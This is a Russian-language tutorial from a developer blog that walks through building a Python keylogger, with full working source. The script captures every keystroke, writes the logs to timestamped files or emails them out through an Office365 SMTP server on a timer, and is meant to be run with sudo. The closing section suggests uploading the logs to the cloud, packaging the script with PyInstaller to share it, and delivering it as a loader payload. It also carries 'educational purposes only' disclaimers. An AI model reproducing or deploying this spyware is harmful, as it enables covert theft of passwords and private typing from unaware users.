DevGang
Авторизоваться

Создайте Keylogger Python

Готовы окунуться в мир программирования на Python? В этом уроке мы рассмотрим создание Keylogger— инструмента наблюдения, предназначенного для отслеживания и записи каждого нажатия клавиш на клавиатуре компьютера.

Важно отметить, что хотя Keylogger имеют законное применение, например мониторинг производительности сотрудников или родительский контроль, хакеры могут использовать их не по назначению для захвата конфиденциальной информации.

Наша цель — дать вам знания по созданию и анализу Keyloggerв образовательных целях, а также повысить осведомленность об их возможностях и связанных с ними рисках.

Предварительные условия

Прежде чем мы начнем, вам необходимо установить модуль **keyboard**. Откройте терминал или командную строку и введите:

Перед установкой какой-либо библиотеки установите свой проект в venv (виртуальную среду); это ограничит проблемы с зависимостями.

Сначала создайте папку.

mkdir keylogger

Затем мы перейдем в каталог Keylogger и создадим виртуальную среду python -m venv myenv.

Активируйте источник виртуальной среды myenv/bin/activate, и тогда мы сможем установить зависимости.

$ pip install keyboard

Этот модуль позволяет нам контролировать клавиатуру, перехватывать глобальные события, регистрировать горячие клавиши, имитировать нажатия клавиш и многое другое.

Настройка Keylogger

Проинициализируем необходимые параметры:

import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

SEND_REPORT_EVERY = 60  # in seconds, reporting interval
EMAIL_ADDRESS = "blackbird001@duck.com"
EMAIL_PASSWORD = "your_email_password"

Замените **your_email@example.com** и **your_email_password** на свои действительные учетные данные электронной почты.

Теперь мы создадим класс для представления Keylogger:

class Keylogger:
    def __init__(self, interval, report_method="email"):
        self.interval = interval
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

Параметр **interval** представляет частоту создания отчетов, а **report_method** указывает, следует ли отправлять журналы по электронной почте или сохранять их в локальный файл.

Прослушивание нажатий клавиш

Мы будем использовать функцию **on_release()** модуля **keyboard** для захвата нажатий клавиш:

def callback(self, event):
    name = event.name
    if len(name) > 1:
        if name == "space":
            name = " "
        elif name == "enter":
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        else:
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"

    self.log += name

Эта функция обратного вызова вызывается при отпускании клавиши. Он преобразует специальные ключи и добавляет их в глобальную переменную **self.log**.

Отчеты о нажатиях клавиш

В зависимости от выбранного **report_method** мы можем сообщать о нажатиях клавиш либо по электронной почте, либо сохранять их в локальный файл:

def report_to_file(self):
    with open(f"{self.filename}.txt", "w") as f:
        print(self.log, file=f)
    print(f"[+] Saved {self.filename}.txt")

def sendmail(self, email, password, message, verbose=1):
    # SMTP server connection and email sending logic
    # ...

Метод **report_to_file()** сохраняет ключевые журналы в локальный файл, а **sendmail()** отправляет журналы по электронной почте.

Планирование отчетов

Чтобы обеспечить периодическую отчетность, мы будем использовать таймер:

def report(self):
    if self.log:
        self.end_dt = datetime.now()
        self.update_filename()
        if self.report_method == "email":
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
        elif self.report_method == "file":
            self.report_to_file()
        print(f"[{self.filename}] - {self.log}")
        self.start_dt = datetime.now()
    self.log = ""
    timer = Timer(interval=self.interval, function=self.report)
    timer.daemon = True
    timer.start()

Этот метод вызывается через определенные промежутки времени (**self.interval**), чтобы сообщить о накопленных нажатиях клавиш.

Запуск Keylogger

Наконец, мы запускаем Keylogger с помощью следующего кода:

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    self.report()
    print(f"{datetime.now()} - Started keylogger")
    keyboard.wait()

Этот метод **start()** записывает время запуска, настраивает Keylogger и ждет, пока пользователь нажмет CTRL+C для выхода из программы.

Собираем все вместе

Теперь давайте создадим экземпляр класса **Keylogger** и запустим Keylogger:

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

Раскомментируйте строку с помощью **report_method="email"**, если вы предпочитаете получать отчеты по электронной почте.

Чтобы начать, запустите sudo python nameoffile.py. Если вы запустите это без стороны, вы получите ошибку.

После одобрения я могу контролировать и видеть, что делает пользователь. Круто, правда?

Как только я начинаю печатать, мой Keylogger, сохраняет нажатия клавиш в файл.

Полный код можно найти здесь.

    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText

    # Installation of required module
    # $ pip install keyboard

    # Parameters
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "email@provider.tld"
    EMAIL_PASSWORD = "password_here"

    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occurred
            (i.e., when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name

        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(f"[+] Saved {self.filename}.txt")

        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as a text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as a string message
            return msg.as_string()

        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode (for security)
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                # if you don't want to print in the console, comment the below line
                print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when the main thread dies)
            timer.daemon = True
            # start the timer
            timer.start()

        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(f"{datetime.now()} - Started keylogger")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()

    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
          keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
          keylogger.start()

Заключение

Поздравляем! Вы только что создали базовый кейлоггер на Python. Помните, что этические соображения имеют решающее значение, и использование кейлоггеров в системах без надлежащего разрешения строго запрещено.

Расширьте свои знания, изучая дополнительные функции, такие как отправка журналов по сети или использование API, таких как Google Drive, для загрузки журналов.

Если вы планируете поделиться своим Keylogger, рассмотрите возможность преобразования сценария в исполняемый файл с помощью таких инструментов, как PyInstaller.

Используйте эти знания ответственно, поскольку они предназначены исключительно для образовательных целей. В нашей следующей статье я покажу вам, как загрузить его в качестве полезного загрузчика в исполняемую программу.

Если вам нравится моя работа и вы хотите помочь мне продолжать публиковать подобный контент, купите мне чашку кофе.

Если этот пост кажется вам интересным, найдите еще больше интересных постов в блоге Learnhub; мы пишем все технологии, от облачных вычислений до Frontend Dev, кибербезопасности, искусственного интеллекта и блокчейна.

Источник:

#Python
Комментарии
Чтобы оставить комментарий, необходимо авторизоваться

Присоединяйся в тусовку

В этом месте могла бы быть ваша реклама

Разместить рекламу